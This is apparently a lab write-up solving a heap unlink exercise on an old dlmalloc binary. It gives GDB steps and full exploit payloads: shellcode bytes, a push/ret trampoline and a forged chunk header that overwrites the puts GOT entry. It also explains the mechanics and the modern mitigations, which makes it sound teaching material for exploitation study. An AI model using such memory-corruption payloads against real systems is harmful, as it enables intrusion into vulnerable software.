ex06 — Heap Unlink Exploit

Oct 21, 2026 · @bahja

What is this exploit and why it works

The heap unlink exploit abuses a bug in the old dlmalloc allocator — here is what happens:

- The program has 3 heap buffers: **A**, **B**, **C** — each 32 bytes
- argv[2] is **40 bytes** — overflow by 8 bytes into **C's hidden malloc header**
- When `free(C)` is called, the allocator trusts the forged header → **fake unlink**
- The unlink writes `bk2` (address of argv[2]) directly into the **puts GOT entry**
- When `puts()` is called, CPU jumps to argv[2] → trampoline → argv[1] → shellcode
- The shellcode prints the success string via a **direct Linux write syscall**

> **The lesson**: overflowing heap metadata = arbitrary write anywhere in process memory

The 6 Steps to Solve ex06

Step 1 — Get the addresses

```
objdump -R ./bin | grep puts
strings -tx ./bin | grep "that wasn't"
python3 -c "print(hex(0x08048000 + 0x2c00))"
```

```
PUTS_GOT     = 0x0804b128
SUCCESS_ADDR = 0x0804ac00
FD           = PUTS_GOT - 12 = 0x0804b11c
```

Step 2 — Open GDB and set a breakpoint after the strcpys

```
gdb ./bin
(gdb) break *0x0804890a
```

Step 3 — Run with dummy args to find bk1 and bk2

```
(gdb) run "$(python3 -c 'import sys;
sys.stdout.buffer.write(b"\x31\xc0\xb0\x04\x31\xdb\x43\xb9\x01\xac\x04\x08\x4
9\xb2\x26\xcd\x80\x31\xc0\x40\xcd\x80\x90\x90")')"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "CCCCCCCCCCCC"
(gdb) x/4xw 0xffffcf34
```

```
argv[1] = bk1 = 0xffffd12c  ← address of a1 on the stack
argv[2] = bk2 = 0xffffd145  ← address of a2 on the stack
```

Step 4 — Set a breakpoint at puts

```
(gdb) break *0x08048935
```

Step 5 — Run the real exploit

```
(gdb) run \
  "$(python3 -c 'import sys;
sys.stdout.buffer.write(b"\x31\xc0\xb0\x04\x31\xdb\x43\xb9\x01\xac\x04\x08\x4
9\xb2\x26\xcd\x80\x31\xc0\x40\xcd\x80\x90\x90")')" \
  "$(python3 -c 'import struct,sys; bk1=0xffffd12c;
sys.stdout.buffer.write(b"\x68"+struct.pack("
<I",bk1)+b"\xc3"+b"\x41"*26+b"\xfc\xff\xff\xff"*2)')" \
  "$(python3 -c 'import struct,sys;
sys.stdout.buffer.write(b"\xff\xff\xff\xff"+struct.pack("<I",0x0804b128-
12)+struct.pack("<I",0xffffd145))')"
```

Step 6 — Verify and continue

```
(gdb) continue          ← stops at bp1 (after strcpys)
(gdb) x/xw 0x0804b128  ← confirm = 0xffffd145 (GOT overwritten)
(gdb) continue          ← WIN
```

```
that wasn't too bad now, was it? @ %d  ✓
```

How to Explain it in the Audit

Explanation flow (simple to complex)

1. **Start with the heap layout** — draw it on paper:

```
[ A header | A data 32B ] [ B header | B data 32B ] [ C header | C data 32B ]
```

Say: "malloc allocates memory with a hidden 8-byte header before every buffer"

2. **Explain the overflow** — say:

> "argv[2] is 40 bytes instead of 32 — the extra 8 bytes write directly into C's hidden header"

3. **Explain the fake header** — say:

> "We wrote `0xfffffffc` into C's prev_size and size. That value means PREV_INUSE=0 → free(C) believes the previous chunk is free and tries to unlink it"

4. **Explain the unlink write** — say:

> "Unlink does: `*(FD+12) = BK` — so we write the address of argv[2] directly into the puts GOT entry"

5. **Explain the GOT hijack** — say:

> "Now puts() no longer jumps to libc — it jumps to argv[2], which is our trampoline"

6. **Explain the trampoline** — say:

> "argv[2] runs `push bk1 ; ret` — that jumps to argv[1] which holds our shellcode"

7. **Explain the shellcode** — say:

> "argv[1] calls the write syscall directly to print the success string — with zero null bytes"

Common audit questions

- **"Why FD = PUTS_GOT - 12?"** → Because unlink writes to `FD+12`, so `PUTS_GOT-12+12 = PUTS_GOT` ✓

- **"Why `0xfffffffc` and not `0x00000000`?"** → Because PREV_INUSE = bit 0 of the size field. `0xfc` = `11111100` → bit 0 = 0 → prev chunk appears "free"
- **"Why not just call `winner()`?"** → This binary has no `winner()` — we write the success string directly with a syscall
- **"Why bk1 = bk2 - 0x19?"** → argv[1] takes 24 bytes of shellcode + 1 null byte = 25 = 0x19 on the stack before argv[2]
- **"Why put the shellcode in argv[1] and not argv[2]?"** → Because the second unlink write `*(BK+8)=FD` corrupts bytes 8+ of argv[2], so the shellcode in argv[1] stays safe

The 3 Arguments in Detail

Argument	Size	Content	Purpose
a1 (argv[1])	24 bytes	shellcode: `write(1, SUCCESS_ADDR, 38)` + `exit(1)`	final stage — prints the success string
a2 (argv[2])	40 bytes	trampoline (6B) + padding (26B) + C header overflow (8B)	jumps to a1 + corrupts C header
a3 (argv[3])	12 bytes	filler (4B) + FD (4B) + BK/bk2 (4B)	fake chunk → unlink → GOT overwrite

a1 — The shellcode (22 bytes + 2 NOP padding)

```
xor eax, eax          ; 31 c0
mov al, 4             ; b0 04  → sys_write
xor ebx, ebx          ; 31 db
inc ebx               ; 43     → fd=1 stdout
mov ecx, 0x0804ac01   ; b9 01 ac 04 08  → SUCCESS_ADDR+1 (no null byte!)
dec ecx               ; 49     → ecx = 0x0804ac00
mov dl, 38            ; b2 26  → length
int 0x80              ; cd 80
xor eax, eax          ; 31 c0
inc eax               ; 40     → sys_exit
int 0x80              ; cd 80
```

> **Key trick**: `SUCCESS_ADDR = 0x0804ac00` contains a null byte → strcpy would stop there. Fix: use `addr+1` then `dec ecx`

a2 — The trampoline + overflow

```
[\x68][bk1 4 bytes][\xc3]  →  push bk1 ; ret   (6 bytes)
[\x41 × 26]                →  padding           (26 bytes)
[\xfc\xff\xff\xff × 2]     →  fake C header     (8 bytes)
```

a3 — The fake chunk

```
[\xff\xff\xff\xff]   →  filler          (bytes 0-3)
[PUTS_GOT - 12]      →  fake fd = FD    (bytes 4-7)
[bk2]                →  fake bk         (bytes 8-11)
```

The fake chunk starts at `C_data - 4` → so fd is at `C_data+4` and bk is at `C_data+8`

Key Concepts

Heap chunk — every `malloc()` returns a pointer to the usable area, but there is a hidden 8-byte header before it (in 32-bit):

```
[ prev_size 4B ][ size+flags 4B ][ usable data... ]
```

PREV_INUSE flag — bit 0 of the size field. If 0 → the allocator thinks the previous chunk is free → it tries to unlink it (backward consolidation)

Unlink — the allocator removes a chunk from the doubly-linked free list:

```
P.fd.bk = P.bk    →    *(FD + 12) = BK
P.bk.fd = P.fd    →    *(BK +  8) = FD
```

The old allocator does **not** verify these pointers → we exploit that

GOT (Global Offset Table) — a table in the binary that stores addresses of external functions:

```
puts@GOT → address of libc puts()
```

If we overwrite this value → the program jumps wherever we choose

Stack layout inside GDB — addresses are stable inside GDB because it sets the same environment variables each run. Outside GDB they shift with ASLR → measure inside GDB and use them there

Write syscall without null bytes — `int 0x80` with `eax=4` calls write directly without libc → we avoid null bytes in shellcode with tricks like `addr+1` + `dec ecx`

Why Modern Programs Are Protected Against This

Protection	How it stops the exploit
Safe unlink	The allocator checks: `P->fd->bk == P` and `P->bk->fd == P` before unlinking
Full RELRO	The GOT becomes read-only — it cannot be overwritten
NX (No-Execute)	Stack and heap are not executable — shellcode on the stack won't run
ASLR	Addresses change every run — bk2 cannot be guessed without brute force
Length-checked copy	`strncpy` instead of `strcpy` — the overflow never happens
Stack Canary	Detects overflow before a return

> **The lesson**: this exploit works on this old binary because multiple protections are missing at once — no safe unlink, no RELRO, no NX, and an unchecked strcpy. In 2024 none of these tricks work on production binaries.